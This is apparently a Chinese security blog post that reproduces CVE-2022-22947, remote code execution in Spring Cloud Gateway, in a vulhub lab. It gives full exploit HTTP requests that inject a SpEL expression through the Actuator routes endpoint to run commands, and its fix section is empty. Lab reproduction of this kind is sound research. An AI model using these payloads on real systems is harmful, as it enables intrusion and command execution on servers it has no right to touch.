1.漏洞背景
当启用、暴露和不安全的 Gateway Actuator 端点时，使用 Spring Cloud Gateway 的应用程序容易受到代码注入攻击。远程攻击者可以发出恶意制作的请求，允许在远程主机上进行任意远程执行。
2.漏洞编号
CVE-2022-22947
3.漏洞影响版本
3.1.0与3.0.6之前
4.漏洞复现
git clone https://github.com/vulhub/vulhubcd /vulhub/spring/CVE-2022-22947docker-compose up -d
POST /actuator/gateway/routes/ninedom HTTP/1.1Host: 192.168.174.128:8080User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: trdipcktrffcext=1Upgrade-Insecure-Requests: 1If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMTIf-None-Match: "3147526947+gzip"Content-Type: application/jsonCache-Control: max-age=0Content-Length: 341{"id": "ninedom","filters": [{"name": "AddResponseHeader","args": {"name": "Result","value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"whoami"}).getInputStream()))}"}}],"uri": "http://192.168.174.128:8080"}
POST /actuator/gateway/refresh HTTP/1.1Host: 192.168.174.128:8080User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: trdipcktrffcext=1Upgrade-Insecure-Requests: 1If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMTIf-None-Match: "3147526947+gzip"Content-Type: application/jsonCache-Control: max-age=0Content-Length: 341{"id": "ninedom","filters": [{"name": "AddResponseHeader","args": {"name": "Result","value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"whoami"}).getInputStream()))}"}}],"uri": "http://192.168.174.128:8080"}
POST /actuator/gateway/routes/hacktest HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 329{"id": "hacktest","filters": [{"name": "AddResponseHeader","args": {"name": "Result","value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}"}}],"uri": "http://example.com"}
5.漏洞修复方案
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原文始发于微信公众号（祝融安全）：Spring Cloud Gateway远程命令执行复现
- 左青龙
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- 右白虎
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